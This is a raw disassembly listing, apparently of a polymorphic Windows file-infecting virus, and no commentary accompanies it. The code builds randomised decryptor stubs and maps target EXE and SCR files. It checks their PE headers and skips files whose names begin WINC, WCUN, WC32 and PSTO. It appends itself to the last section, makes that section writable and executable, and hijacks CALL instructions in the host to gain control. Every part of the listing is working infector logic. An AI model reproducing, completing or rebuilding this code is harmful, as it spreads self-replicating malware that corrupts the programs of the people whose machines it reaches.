		mov	al, 0B1h
		stosb
		mov	al, [ebp+40342Fh]
		stosb
		mov	al, 40h
		or	al, byte ptr ss:loc_40342B[ebp]
		stosb
		mov	ax, 0FDE2h
		test	dword ptr ss:loc_403431[ebp], 10h
		jz	short loc_420D2E
		mov	al, 49h
		stosb
		mov	ax, 0FC75h


loc_420D2E:				; CODE XREF: .data:00420D25j
		stosw


loc_420D30:				; CODE XREF: .data:00420CE4j
					; .data:00420CEDj
		mov	al, 0E8h
		stosb
		xor	eax, eax
		stosd
		mov	dword ptr ss:loc_403982[ebp], edi
		test	dword ptr ss:loc_403431[ebp], 20h
		jnz	short loc_420D51
		mov	al, 58h
		or	al, byte ptr ss:loc_403429[ebp]
		stosb


loc_420D51:				; CODE XREF: .data:00420D46j
		mov	ax, 0C081h
		test	dword ptr ss:loc_403431[ebp], 40h
		jz	short loc_420D64
		add	ah, 28h


loc_420D64:				; CODE XREF: .data:00420D5Fj
		or	ah, byte ptr ss:loc_403429[ebp]
		stosw
		mov	[ebp+403986h], edi
		stosd
		test	dword ptr ss:loc_403431[ebp], 40000000h
		jnz	short loc_420D88
		mov	al, 50h
		add	al, byte ptr ss:loc_403429[ebp]
		stosb


loc_420D88:				; CODE XREF: .data:00420D7Dj
		test	dword ptr ss:loc_403431[ebp], 80h
		jnz	short loc_420D9F
		mov	al, 0B8h
		or	al, [ebp+40342Ah]
		stosb
		jmp	short loc_420DDC
; ---------------------------------------------------------------------------


loc_420D9F:				; CODE XREF: .data:00420D92j
		mov	ax, 1831h
		test	dword ptr ss:loc_403431[ebp], 100h
		jz	short loc_420DB1
		mov	al, 29h


loc_420DB1:				; CODE XREF: .data:00420DADj
		or	ah, [ebp+40342Ah]
		shl	ah, 3
		or	ah, [ebp+40342Ah]
		stosw
		mov	ax, 0F081h
		test	dword ptr ss:loc_403431[ebp], 200h
		jnz	short loc_420DD4
		mov	ah, 0C8h


loc_420DD4:				; CODE XREF: .data:00420DD0j
		or	ah, [ebp+40342Ah]
		stosw


loc_420DDC:				; CODE XREF: .data:00420D9Dj
		mov	[ebp+4039A2h], edi
		mov	eax, 243Ch
		stosd
		test	dword ptr ss:loc_403431[ebp], 8
		jz	short loc_420E60
		test	dword ptr ss:loc_403431[ebp], 400h
		jnz	short loc_420E0B
		mov	al, 0B8h
		or	al, byte ptr ss:loc_40342B[ebp]
		stosb
		jmp	short loc_420E58
; ---------------------------------------------------------------------------


loc_420E0B:				; CODE XREF: .data:00420DFEj
		test	dword ptr ss:loc_403431[ebp], 800h
		jnz	short loc_420E28
		mov	ax, 0E083h
		or	ah, byte ptr ss:loc_40342B[ebp]
		stosw
		xor	eax, eax
		stosb
		jmp	short loc_420E3D
; ---------------------------------------------------------------------------


loc_420E28:				; CODE XREF: .data:00420E15j
		mov	ax, 1829h
		or	ah, byte ptr ss:loc_40342B[ebp]
		shl	ah, 3
		or	ah, byte ptr ss:loc_40342B[ebp]
		stosw


loc_420E3D:				; CODE XREF: .data:00420E26j
		test	dword ptr ss:loc_403431[ebp], 1000h
		mov	ax, 0C081h
		jz	short loc_420E50
		add	ah, 8


loc_420E50:				; CODE XREF: .data:00420E4Bj
		or	ah, byte ptr ss:loc_40342B[ebp]
		stosw


loc_420E58:				; CODE XREF: .data:00420E09j
		movzx	eax, byte ptr [ebp+40342Fh]
		stosd


loc_420E60:				; CODE XREF: .data:00420DF2j
		test	dword ptr ss:loc_403431[ebp], 40000000h
		jz	short loc_420E75
		mov	al, 50h
		add	al, byte ptr ss:loc_403429[ebp]
		stosb


loc_420E75:				; CODE XREF: .data:00420E6Aj
		test	dword ptr ss:loc_403431[ebp], 2000h
		mov	al, 86h
		jnz	short loc_420E85
		add	al, 4


loc_420E85:				; CODE XREF: .data:00420E81j
		lea	ecx, [edi-2]
		mov	ah, byte ptr ss:loc_403429[ebp]
		mov	dword ptr ss:loc_40398A[ebp], ecx
		stosw
		cmp	ah, 5
		jnz	short loc_420EA2
		mov	al, 0
		or	byte ptr [edi-1], 40h
		stosb


loc_420EA2:				; CODE XREF: .data:00420E99j
		test	dword ptr ss:loc_403431[ebp], 4000h
		mov	ax, 3166h
		jnz	short loc_420EB4
		mov	ah, 29h


loc_420EB4:				; CODE XREF: .data:00420EB0j
		stosw
		mov	al, 18h
		or	al, byte ptr ss:loc_40342B[ebp]
		shl	al, 3
		stosb
		mov	al, 88h
		test	dword ptr ss:loc_403431[ebp], 8000h
		jnz	short loc_420ED2
		mov	al, 86h


loc_420ED2:				; CODE XREF: .data:00420ECEj
		mov	ah, byte ptr ss:loc_403429[ebp]
		stosw
		cmp	ah, 5
		jnz	short loc_420EE6
		mov	al, 0
		or	byte ptr [edi-1], 40h
		stosb


loc_420EE6:				; CODE XREF: .data:00420EDDj
		test	dword ptr ss:loc_403431[ebp], 10000h
		jnz	short loc_420EFD
		mov	al, 40h
		or	al, byte ptr ss:loc_403429[ebp]
		stosb
		jmp	short loc_420F0C
; ---------------------------------------------------------------------------


loc_420EFD:				; CODE XREF: .data:00420EF0j
		mov	ax, 0C083h
		or	ah, byte ptr ss:loc_403429[ebp]
		stosw
		mov	al, 1
		stosb


loc_420F0C:				; CODE XREF: .data:00420EFBj
		test	dword ptr ss:loc_403431[ebp], 20000h
		jnz	short loc_420F47
		test	dword ptr ss:loc_403431[ebp], 40000h
		jnz	short loc_420F3E
		mov	al, 0C0h
		or	al, byte ptr ss:loc_40342B[ebp]
		mov	ah, [ebp+403430h]
		shl	eax, 10h
		mov	ax, 8166h
		stosd
		mov	al, 0
		jmp	short loc_420F46
; ---------------------------------------------------------------------------


loc_420F3E:				; CODE XREF: .data:00420F22j
		mov	al, 40h
		or	al, byte ptr ss:loc_40342B[ebp]


loc_420F46:				; CODE XREF: .data:00420F3Cj
		stosb


loc_420F47:				; CODE XREF: .data:00420F16j
		test	dword ptr ss:loc_403431[ebp], 80000h
		jnz	short loc_420F63
		mov	ax, 0E883h
		or	ah, [ebp+40342Ah]
		stosw
		mov	al, 1
		jmp	short loc_420F6B
; ---------------------------------------------------------------------------


loc_420F63:				; CODE XREF: .data:00420F51j
		mov	al, 48h
		or	al, [ebp+40342Ah]


loc_420F6B:				; CODE XREF: .data:00420F61j
		stosb
		test	dword ptr ss:loc_403431[ebp], 100000h
		mov	cl, 75h
		jnz	short loc_420F9F
		mov	ax, 0F883h
		or	ah, [ebp+40342Ah]
		stosw
		xor	eax, eax
		stosb
		sub	dword ptr ss:loc_40398A[ebp], edi
		test	dword ptr ss:loc_403431[ebp], 200000h
		jnz	short loc_420FBA
		mov	cl, 77h
		jmp	short loc_420FBA
; ---------------------------------------------------------------------------


loc_420F9F:				; CODE XREF: .data:00420F78j
		mov	ax, 1809h
		or	ah, [ebp+40342Ah]
		shl	ah, 3
		or	ah, [ebp+40342Ah]
		stosw
		sub	dword ptr ss:loc_40398A[ebp], edi


loc_420FBA:				; CODE XREF: .data:00420F99j
					; .data:00420F9Dj
		mov	al, cl
		mov	ah, byte ptr ss:loc_40398A[ebp]
		stosw
		mov	al, 58h
		add	al, byte ptr ss:loc_403429[ebp]
		stosb
		test	dword ptr ss:loc_403431[ebp], 1000003h
		jz	loc_421064
		mov	eax, 268B6467h
		mov	ecx, dword ptr ss:loc_403431[ebp]
		xor	ecx, 2000000h
		test	ecx, 3000000h
		jnz	short loc_420FFB
		mov	eax, 2E876467h


loc_420FFB:				; CODE XREF: .data:00420FF4j
		stosd
		mov	eax, 0
		stosw
		jnz	short loc_42100B
		mov	ax, 0E58Bh
		stosw


loc_42100B:				; CODE XREF: .data:00421003j
		mov	eax, 68F6764h
		stosd
		xor	eax, eax
		stosw
		test	dword ptr ss:loc_403431[ebp], 1000000h
		jnz	short loc_421061
		test	dword ptr ss:loc_403431[ebp], 8000000h
		jz	short loc_421053
		mov	ax, 6C8Dh
		test	dword ptr ss:loc_403431[ebp], 2000000h
		setnz	cl
		or	ah, cl
		stosw
		test	cl, cl
		jnz	short loc_42104E
		mov	ax, 424h
		stosw
		jmp	short loc_421061
; ---------------------------------------------------------------------------


loc_42104E:				; CODE XREF: .data:00421044j
		mov	al, 8
		stosb
		jmp	short loc_421061
; ---------------------------------------------------------------------------


loc_421053:				; CODE XREF: .data:0042102Bj
		mov	ax, 5D58h
		add	al, byte ptr ss:loc_40342B[ebp]
		stosw
		jmp	short loc_421064
; ---------------------------------------------------------------------------


loc_421061:				; CODE XREF: .data:0042101Fj
					; .data:0042104Cj ...
		mov	al, 0C9h
		stosb


loc_421064:				; CODE XREF: .data:00420FD7j
					; .data:0042105Fj
		test	dword ptr ss:loc_403431[ebp], 80000000h
		jz	short loc_421090
		mov	al, 7
		sub	al, byte ptr ss:loc_403429[ebp]
		shl	eax, 1Ah
		or	eax, 240889h
		add	ah, byte ptr ss:loc_403429[ebp]
		shl	ah, 3
		add	ah, 4
		stosd
		mov	al, 61h
		stosb


loc_421090:				; CODE XREF: .data:0042106Ej
		mov	ax, 0E0FFh
		or	ah, byte ptr ss:loc_403429[ebp]
		stosw
		test	dword ptr ss:loc_403431[ebp], 20h
		jz	short loc_4210FB
		test	dword ptr ss:loc_403431[ebp], 20000000h
		jz	short loc_4210C1


loc_4210B4:				; CODE XREF: .data:004210BFj
		test	edi, 3
		jz	short loc_4210C1
		mov	al, 90h
		stosb
		jmp	short loc_4210B4
; ---------------------------------------------------------------------------


loc_4210C1:				; CODE XREF: .data:004210B2j
					; .data:004210BAj
		mov	eax, edi
		mov	ecx, dword ptr ss:loc_403982[ebp]
		sub	eax, ecx
		mov	[ecx-4], eax
		mov	al, 58h
		or	al, byte ptr ss:loc_403429[ebp]
		stosb
		test	dword ptr ss:loc_403431[ebp], 400000h
		jz	short loc_4210EF
		mov	ax, 0C350h
		or	al, byte ptr ss:loc_403429[ebp]
		jmp	short loc_4210F9
; ---------------------------------------------------------------------------


loc_4210EF:				; CODE XREF: .data:004210E1j
		mov	ax, 0E0FFh
		or	ah, byte ptr ss:loc_403429[ebp]


loc_4210F9:				; CODE XREF: .data:004210EDj
		stosw


loc_4210FB:				; CODE XREF: .data:004210A6j
		test	dword ptr ss:loc_403431[ebp], 1000003h
		jz	short loc_42117A
		test	dword ptr ss:loc_403431[ebp], 20000000h
		jz	short loc_421120


loc_421113:				; CODE XREF: .data:0042111Ej
		test	edi, 3
		jz	short loc_421120
		mov	al, 90h
		stosb
		jmp	short loc_421113
; ---------------------------------------------------------------------------


loc_421120:				; CODE XREF: .data:00421111j
					; .data:00421119j
		mov	ecx, edi
		mov	eax, [ebp+40399Ah]
		sub	ecx, eax
		mov	[eax-4], ecx
		xor	ecx, ecx
		test	dword ptr ss:loc_403431[ebp], 800000h
		jnz	short loc_421149
		lea	eax, loc_403429[ebp]


loc_421141:				; CODE XREF: .data:00421147j
		mov	cl, [eax]
		inc	eax
		cmp	cl, 3
		jnb	short loc_421141


loc_421149:				; CODE XREF: .data:00421139j
		lea	eax, ds:102444h[ecx*8]
		shl	eax, 8
		mov	al, 8Bh
		stosd
		jecxz	short loc_42115E
		mov	ax, 0C031h
		stosw


loc_42115E:				; CODE XREF: .data:00421156j
		mov	ax, 808Fh
		push	0B8h
		add	ah, cl
		stosw
		pop	eax
		stosd
		test	ecx, ecx
		jnz	short loc_421177
		mov	ax, 0C031h
		stosw


loc_421177:				; CODE XREF: .data:0042116Fj
		mov	al, 0C3h
		stosb


loc_42117A:				; CODE XREF: .data:00421105j
		lea	eax, [ebp+40343Ch]
		test	dword ptr ss:loc_403431[ebp], 10000000h
		jnz	short loc_421192
		push	edi
		sub	edi, eax
		pop	eax
		jmp	short loc_4211AB
; ---------------------------------------------------------------------------


loc_421192:				; CODE XREF: .data:0042118Aj
		mov	edx, [ebx+28h]
		sub	edi, eax
		sub	edx, eax
		mov	ecx, [ebp+4039A2h]
		add	dword ptr ss:loc_403982[ebp], edx
		add	[ecx], edi
		mov	eax, [esp+4]


loc_4211AB:				; CODE XREF: .data:00421190j
		mov	ss:dword_40106D[ebp], edi
		mov	edi, [ebp+403986h]
		sub	eax, dword ptr ss:loc_403982[ebp]
		test	dword ptr ss:loc_403431[ebp], 40h
		jz	short loc_4211CB
		neg	eax


loc_4211CB:				; CODE XREF: .data:004211C7j
		stosd
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4211CF	proc near		; CODE XREF: sub_4215FB+2A8p
		push	esi
		push	edi
		cmp	dword ptr ss:loc_4039AE[ebp], 0
		jz	loc_4213B7
		call	near ptr loc_4211EF+1
		dec	ebx
		inc	ebp
		push	edx
		dec	esi
		inc	ebp
		dec	esp
		xor	esi, [edx]
		db	2Eh
		inc	esp
		dec	esp
		dec	esp


loc_4211EF:				; CODE XREF: sub_4211CF+Fp
		add	bh, bh
sub_4211CF	endp ; sp-analysis failed

		xchg	eax, ebp
		mov	ds:85890040h, dh
		mov	esi, 53004039h
		mov	ebx, [eax+3Ch]
		add	ebx, eax
		push	dword ptr [ebx+28h]
		mov	eax, [ebx+34h]
		call	sub_420909
		mov	edx, [ebp+4039A6h]
		pop	ebx
		add	eax, [edx+0Ch]
		mov	[ebp+4039C2h], eax
		add	eax, [edx+8]
		mov	[ebp+4039C6h], eax
		mov	esi, [ebx+28h]
		push	dword ptr [ebx+80h]
		call	sub_420909
		mov	edi, [ebp+4039A6h]
		push	esi
		call	sub_420909
		mov	edx, [ebp+4039A6h]
		mov	ecx, [edx+8]
		add	ecx, [edx+0Ch]
		sub	ecx, esi
		sub	ecx, 5
		js	loc_4213B7
		jz	loc_4213B7
		add	esi, dword ptr ss:loc_4039AA[ebp]
		add	esi, [ebp+403972h]
; START	OF FUNCTION CHUNK FOR sub_421388


loc_421269:				; CODE XREF: sub_421388+29j
		lodsb
		cmp	al, 0E8h
		jnz	loc_421314
		lea	eax, [esi+4]
		sub	eax, [ebp+403972h]
		add	eax, [esi]
		push	eax
		call	sub_420909
		cmp	dword ptr [ebp+4039A6h], 0
		jnz	short loc_421297
		cmp	eax, [edi+0Ch]
		jnb	loc_4213B0
		jmp	short loc_4212A3
; ---------------------------------------------------------------------------


loc_421297:				; CODE XREF: sub_421388-FEj
		cmp	[ebp+4039A6h], edx
		jnz	loc_4213B0


loc_4212A3:				; CODE XREF: sub_421388-F3j
		add	eax, [ebp+403972h]
		cmp	word ptr [eax],	25FFh
		jnz	loc_4213B0
		mov	eax, [eax+2]
		sub	eax, [ebx+34h]
		push	eax
		call	sub_420909
		cmp	[ebp+4039A6h], edi
		jnz	loc_4213B0
		add	eax, dword ptr ss:loc_4039AA[ebp]
		add	eax, [ebp+403972h]
		mov	eax, [eax]
		sub	eax, [edi+0Ch]
		jb	loc_4213B0
		cmp	eax, [edi+8]
		jnb	loc_4213B0


loc_4212EC:				; CODE XREF: sub_421388+22j
		add	eax, 2
		add	eax, [edi+14h]
		add	eax, [ebp+403972h]
		push	edx
		push	eax
		push	dword ptr ss:loc_4039BE[ebp]
		call	dword ptr [ebp+403548h]
		pop	edx
		test	eax, eax
		jnz	loc_4213C6
		jmp	loc_4213B0
; ---------------------------------------------------------------------------


loc_421314:				; CODE XREF: sub_421388-11Cj
		cmp	al, 0FFh
		jnz	loc_4213B0
		cmp	byte ptr [esi],	15h
		jnz	loc_4213B0
		mov	eax, [esi+1]
		sub	eax, [ebx+34h]
		push	eax
		call	sub_420909
		cmp	[ebp+4039A6h], edi
		jnz	short loc_4213B0
		add	eax, dword ptr ss:loc_4039AA[ebp]
		add	eax, [ebp+403972h]
		mov	[ebp+4039CAh], eax
		mov	eax, [eax]
		cmp	eax, [ebp+4039C2h]
		jb	short loc_42135D
		cmp	eax, [ebp+4039C6h]
		jb	short loc_4213C6


loc_42135D:				; CODE XREF: sub_421388-35j
		cmp	eax, 70000000h
		jb	short loc_42139B
		call	sub_421388
		lea	ecx, [esi-4]
		mov	eax, ecx
		sub	eax, [edx]
		add	eax, [edx+10h]
		cmp	eax, [ebp+4039CAh]
		jnz	short locret_421387
		add	esp, 10h
		push	dword ptr [ecx]
		pop	[esp-0Ch+arg_24]
		popa
		jmp	short loc_4213A2
; ---------------------------------------------------------------------------

locret_421387:				; CODE XREF: sub_421388-Fj
		retn
; END OF FUNCTION CHUNK	FOR sub_421388

; =============== S U B	R O U T	I N E =======================================



sub_421388	proc near		; CODE XREF: sub_421388-24p

var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_24		= dword	ptr  28h

; FUNCTION CHUNK AT 00421269 SIZE 0000011F BYTES

		pop	dword ptr ss:loc_403992[ebp]
		pusha
		mov	esi, [ebp+403972h]
		call	sub_420A10
		popa


loc_42139B:				; CODE XREF: sub_421388-26j
		test	eax, 80000000h
		jnz	short loc_4213B0


loc_4213A2:				; CODE XREF: sub_421388-3j
		sub	eax, [edi+0Ch]
		jb	short loc_4213B0
		cmp	eax, [edi+8]
		jb	loc_4212EC


loc_4213B0:				; CODE XREF: sub_421388-F9j
					; sub_421388-EBj ...
		dec	ecx
		jnz	loc_421269


loc_4213B7:				; CODE XREF: sub_4211CF+9j
					; .data:00421251j ...
		mov	edi, [esp-4+arg_0]
		and	dword ptr [edi+2431h], 7FFFFFFFh
		jmp	short loc_421402
; ---------------------------------------------------------------------------


loc_4213C6:				; CODE XREF: sub_421388-7Fj
					; sub_421388-2Dj
		or	dword ptr [edx+24h], 0E0000060h
		dec	esi
		xor	eax, eax
		mov	ecx, [esp+8+var_8]
		xchg	eax, dword ptr ss:loc_4039AE[ebp]
		lea	edi, [ecx+2435h]
		add	eax, [ebp+403972h]
		movsw
		movsd
		dec	esi
		sub	eax, esi
		add	eax, [edx+14h]
		sub	eax, [edx+0Ch]
		mov	byte ptr [esi-5], 0E8h
		mov	dword ptr [ecx+52h], 5
		mov	[esi-4], eax


loc_421402:				; CODE XREF: sub_421388+3Cj
		pop	edi
		pop	esi
		retn
sub_421388	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_421405	proc near		; CODE XREF: .data:004215D3p
					; sub_4215FB+127p
		lea	esi, [ebp+40384Eh]
		push	esi
		call	dword ptr ss:loc_40357C[ebp]
		cmp	eax, 0FFFFFFFFh
		jz	locret_4214D6
		mov	dword ptr ss:loc_403952[ebp], eax
		push	0
		push	esi
		call	dword ptr [ebp+4035B4h]
		test	eax, eax
		jz	locret_4214D6
		sub	eax, eax
		push	eax
		push	eax
		push	3
		push	eax
		push	1
		push	0C0000000h
		push	esi
		call	dword ptr [ebp+40355Ch]
		cmp	eax, 0FFFFFFFFh
		jz	loc_42198E
		mov	[ebp+403956h], eax
		lea	ecx, [ebp+40395Ah]
		lea	edx, [ebp+403962h]
		push	ecx
		push	edx
		push	0
		push	eax
		call	dword ptr [ebp+403584h]
		cmp	eax, 0FFFFFFFFh
		jz	loc_421982
		push	0
		push	dword ptr [ebp+403956h]
		call	dword ptr [ebp+403580h]
		cmp	eax, 0FFFFFFFFh
		jz	loc_421982
		mov	dword ptr ss:locret_40396A[ebp], eax
		xor	ecx, ecx
		add	eax, ebx
		push	ecx
		push	eax
		push	ecx
		push	4
		push	ecx
		push	dword ptr [ebp+403956h]
		call	dword ptr ss:loc_403560[ebp]
		test	eax, eax
		jz	loc_421982
		xor	ecx, ecx
		mov	[ebp+40396Eh], eax
		push	ecx
		push	ecx
		push	ecx
		push	0F001Fh
		push	eax
		call	dword ptr [ebp+4035A0h]
		test	eax, eax
		jz	loc_42195A
		mov	[ebp+403972h], eax

locret_4214D6:				; CODE XREF: sub_421405+10j
					; sub_421405+27j ...
		retn
sub_421405	endp


; =============== S U B	R O U T	I N E =======================================



sub_4214D7	proc near		; CODE XREF: sub_4215FB+117p
					; sub_4215FB+223p
		mov	eax, 69CDh
		mov	ecx, [ebx+38h]
		test	dword ptr ss:loc_403431[ebp], 10000000h
		jnz	short loc_4214F1
		add	eax, ss:dword_40106D[ebp]


loc_4214F1:				; CODE XREF: sub_4214D7+12j
		xor	edx, edx
		add	eax, ecx
		div	ecx
		mul	ecx
		mov	[ebp+40397Ah], eax
		mov	eax, 243Bh
		mov	ecx, [ebx+3Ch]
		add	eax, ss:dword_40106D[ebp]
		xor	edx, edx
		add	eax, ecx
		div	ecx
		mul	ecx
		mov	dword ptr ss:loc_403976[ebp], eax
		retn
sub_4214D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_42151C	proc near		; CODE XREF: sub_4215FB:loc_42164Ap
					; sub_4215FB+13Dp
		movzx	ecx, word ptr [ebx+6]
		stc


loc_421521:				; CODE XREF: sub_42151C+23j
		jecxz	short locret_421558
		lea	edx, [ebx+18h]
		movzx	eax, word ptr [ebx+14h]
		add	edx, eax
		dec	ecx
		imul	eax, ecx, 28h
		add	edx, eax
		cmp	dword ptr [edx], 6E69775Fh
		stc
		jz	short locret_421558
		cmp	dword ptr [edx+0Ch], 1
		jb	short loc_421521
		mov	ecx, [ebx+3Ch]
		mov	eax, [edx+14h]
		add	eax, [edx+10h]
		lea	eax, [eax+ecx*2-1]
		neg	ecx
		and	eax, ecx
		cmp	eax, dword ptr ss:locret_40396A[ebp]

locret_421558:				; CODE XREF: sub_42151C:loc_421521j
					; sub_42151C+1Dj ...
		retn
sub_42151C	endp


; =============== S U B	R O U T	I N E =======================================



sub_421559	proc near		; CODE XREF: .data:004215E5p

arg_C		= dword	ptr  10h

		mov	edx, [esp+arg_C]
		xor	eax, eax
		pop	dword ptr [edx+0B8h]
		retn
sub_421559	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_421566:				; CODE XREF: .data:00421587j
		mov	ecx, edi
		jmp	short loc_421575
; ---------------------------------------------------------------------------
		lea	edi, [ebp+40384Eh]
		cld


loc_421571:				; CODE XREF: .data:00421583j
		mov	ebx, edi
		xor	ecx, ecx


loc_421575:				; CODE XREF: .data:00421568j
					; .data:0042158Bj
		lodsb
		cmp	al, 61h
		jb	short loc_421580
		cmp	al, 7Ah
		ja	short loc_421580
		sub	al, 20h


loc_421580:				; CODE XREF: .data:00421578j
					; .data:0042157Cj
		stosb
		cmp	al, 5Ch
		jz	short loc_421571
		cmp	al, 2Eh
		jz	short loc_421566
		cmp	al, 0
		jnz	short loc_421575
		jecxz	short locret_421558
		mov	eax, [ecx]
		cmp	eax, 455845h
		jz	short loc_4215A3
		cmp	eax, 524353h
		jnz	locret_4214D6


loc_4215A3:				; CODE XREF: .data:00421596j
		mov	eax, [ebx]
		cmp	eax, 434E4957h
		jz	locret_4214D6
		cmp	eax, 4E554357h
		jz	locret_4214D6
		cmp	eax, 32334357h
		jz	locret_4214D6
		cmp	eax, 4F545350h
		jz	locret_4214D6
		xor	ebx, ebx
		call	sub_421405
		jz	locret_4214D6
		xor	edx, edx
		call	sub_4215FB
		call	sub_421559
		call	$+5
		pop	ebp
		sub	ebp, 402F8Ah
		jmp	loc_421938

; =============== S U B	R O U T	I N E =======================================



sub_4215FB	proc near		; CODE XREF: .data:004215E0p

var_14		= dword	ptr -14h

		push	dword ptr fs:[edx]
		mov	esi, [ebp+403972h]
		mov	fs:[edx], esp
		cmp	word ptr [esi],	5A4Dh
		jnz	loc_421938
		mov	ebx, [esi+3Ch]
		add	ebx, esi
		cmp	word ptr [ebx],	4550h
		jnz	loc_421938
		test	dword ptr [ebx+16h], 2000h
		jnz	loc_421938
		test	byte ptr [ebx+5Ch], 2
		mov	ecx, [esi+20h]
		jz	loc_421938
		jecxz	short loc_42164A
		cmp	ecx, 101h
		jbe	loc_421938


loc_42164A:				; CODE XREF: sub_4215FB+41j
		call	sub_42151C
		jb	loc_421938
		mov	ecx, [edx+10h]
		add	ecx, [edx+0Ch]
		mov	eax, 10000h
		push	ecx
		call	sub_420154
		xor	[ebp+40342Fh], dl
		mov	cl, 20h
		xor	[ebp+403430h], dh


loc_421674:				; CODE XREF: sub_4215FB+92j
		push	20h
		dec	cl
		pop	eax
		js	short loc_42168F
		call	sub_420154
		test	edx, edx
		setz	dl
		shl	edx, cl
		xor	dword ptr ss:loc_403431[ebp], edx
		jmp	short loc_421674
; ---------------------------------------------------------------------------


loc_42168F:				; CODE XREF: sub_4215FB+7Ej
					; sub_4215FB+CDj ...
		push	6
		pop	ecx


loc_421695:				; CODE XREF: sub_4215FB+B8j
		push	6
		pop	eax
		call	sub_420154
		mov	al, byte ptr ss:loc_403429[ebp]
		xchg	al, byte ptr ds:loc_403429[edx+ebp]
		mov	byte ptr ss:loc_403429[ebp], al
		loop	loc_421695
		test	dword ptr ss:loc_403431[ebp], 8
		jnz	short loc_4216CA
		cmp	byte ptr ss:loc_40342B[ebp], 1
		jz	short loc_42168F


loc_4216CA:				; CODE XREF: sub_4215FB+C4j
		test	dword ptr ss:loc_403431[ebp], 1000003h
		jz	short loc_4216F1
		cmp	byte ptr ss:loc_403429[ebp], 5
		jz	short loc_42168F
		cmp	byte ptr [ebp+40342Ah],	5
		jz	short loc_42168F
		cmp	byte ptr ss:loc_40342B[ebp], 5
		jz	short loc_42168F


loc_4216F1:				; CODE XREF: sub_4215FB+D9j
		test	dword ptr ss:loc_403431[ebp], 80000000h
		jz	short loc_421706
		cmp	byte ptr ss:loc_403429[ebp], 2
		ja	short loc_42168F


loc_421706:				; CODE XREF: sub_4215FB+100j
		and	dword ptr ss:loc_4039AE[ebp], 0
		call	loc_420BA1
		call	sub_4214D7
		call	sub_421941
		mov	ebx, dword ptr ss:loc_403976[ebp]
		call	sub_421405
		jz	loc_421938
		mov	esi, [ebp+403972h]
		mov	ebx, [esi+3Ch]
		add	ebx, esi
		call	sub_42151C
		jb	loc_421938
		or	dword ptr [edx+24h], 0E0000060h
		mov	edi, esi
		push	edx
		push	esi
		add	edi, [edx+14h]
		add	edi, [edx+10h]
		test	dword ptr ss:loc_403431[ebp], 10000000h
		jnz	short loc_42176E
		lea	esi, [ebp+40343Ch]
		mov	ecx, ss:dword_40106D[ebp]
		rep movsb


loc_42176E:				; CODE XREF: sub_4215FB+163j
		push	edi
		mov	ecx, 90Fh
		lea	esi, dword_401000[ebp]
		rep movsd
		mov	cl, 0
		jecxz	short loc_421782
		rep movsb


loc_421782:				; CODE XREF: sub_4215FB+183j
		test	dword ptr ss:loc_403431[ebp], 10000000h
		jz	loc_42183A
		push	dword ptr [ebx+28h]
		call	sub_420909
		mov	edx, [ebp+4039A6h]
		test	edx, edx
		jz	loc_42183A
		mov	esi, [ebp+403972h]
		mov	ecx, [edx+10h]
		or	dword ptr [edx+24h], 0E0000060h
		sub	ecx, [edx+8]
		jnb	short loc_4217BF
		xor	ecx, ecx


loc_4217BF:				; CODE XREF: sub_4215FB+1C0j
		add	esi, [edx+14h]
		cmp	ecx, ss:dword_40106D[ebp]
		mov	ecx, ss:dword_40106D[ebp]
		jb	short loc_421826
		mov	edi, [esp+14h+var_14]
		and	ss:dword_40106D[ebp], 0
		and	dword ptr [edi+6Dh], 0
		mov	edi, [edx+8]
		add	[edx+8], ecx
		add	esi, edi
		xchg	esi, edi
		mov	eax, [ebp+403986h]
		test	dword ptr ss:loc_403431[ebp], 40h
		jz	short loc_4217FF
		neg	dword ptr [eax]


loc_4217FF:				; CODE XREF: sub_4215FB+200j
		add	esi, [edx+0Ch]
		sub	[eax], esi
		mov	dword ptr ss:loc_4039AE[ebp], esi
		mov	esi, [ebx+28h]
		add	[eax], esi
		test	dword ptr ss:loc_403431[ebp], 40h
		jz	short loc_42181D
		neg	dword ptr [eax]


loc_42181D:				; CODE XREF: sub_4215FB+21Ej
		push	ecx
		call	sub_4214D7
		pop	ecx
		jmp	short loc_421832
; ---------------------------------------------------------------------------


loc_421826:				; CODE XREF: sub_4215FB+1D3j
		add	esi, [ebx+28h]
		sub	esi, [edx+0Ch]
		push	ecx
		push	esi
		rep movsb
		pop	edi
		pop	ecx


loc_421832:				; CODE XREF: sub_4215FB+229j
		lea	esi, [ebp+40343Ch]
		rep movsb


loc_42183A:				; CODE XREF: sub_4215FB+191j
					; sub_4215FB+1A7j
		pop	edi
		pop	esi
		rdtsc
		xchg	eax, edx
		lea	eax, [edi+1D2h]
		cmp	dl, [ebp+40342Fh]
		jnz	short loc_421853
		imul	edx, 12345678h


loc_421853:				; CODE XREF: sub_4215FB+250j
		mov	[eax-1], dl
		call	sub_41F827
		pop	edx
		mov	ecx, [edx+0Ch]
		add	ecx, [edx+10h]
		test	dword ptr ss:loc_403431[ebp], 10000000h
		lea	eax, [ecx+6]
		jnz	short loc_421884
		mov	dword ptr ss:loc_4039AE[ebp], ecx
		add	eax, ss:dword_40106D[ebp]
		and	dword ptr [edi+6Dh], 0


loc_421884:				; CODE XREF: sub_4215FB+274j
		sub	eax, [ebx+28h]
		push	dword ptr [ebp+40397Eh]
		mov	[edi+52h], eax
		pop	dword ptr [esi+20h]
		test	dword ptr ss:loc_403431[ebp], 80000000h
		jz	short loc_4218A9
		push	edx
		call	sub_4211CF
		pop	edx


loc_4218A9:				; CODE XREF: sub_4215FB+2A5j
		mov	ecx, dword ptr ss:loc_4039AE[ebp]
		jecxz	short loc_4218B4
		mov	[ebx+28h], ecx


loc_4218B4:				; CODE XREF: sub_4215FB+2B4j
		mov	ecx, [edx+10h]
		mov	eax, dword ptr ss:loc_403976[ebp]
		cmp	[edx+8], ecx
		jnb	short loc_4218C5
		mov	[edx+8], ecx


loc_4218C5:				; CODE XREF: sub_4215FB+2C5j
		add	[edx+10h], eax
		and	dword ptr [ebx+58h], 0
		mov	eax, [ebp+40397Ah]
		push	243Ch
		add	[edx+8], eax
		pop	ecx
		add	[ebx+50h], eax
		mov	dl, [ebp+40342Fh]
		test	dword ptr ss:loc_403431[ebp], 10000000h
		jz	short loc_4218F6
		add	ecx, ss:dword_40106D[ebp]


loc_4218F6:				; CODE XREF: sub_4215FB+2F3j
		mov	dh, 0
		test	dword ptr ss:loc_403431[ebp], 20000h
		jnz	short loc_421918
		inc	dh
		test	dword ptr ss:loc_403431[ebp], 40000h
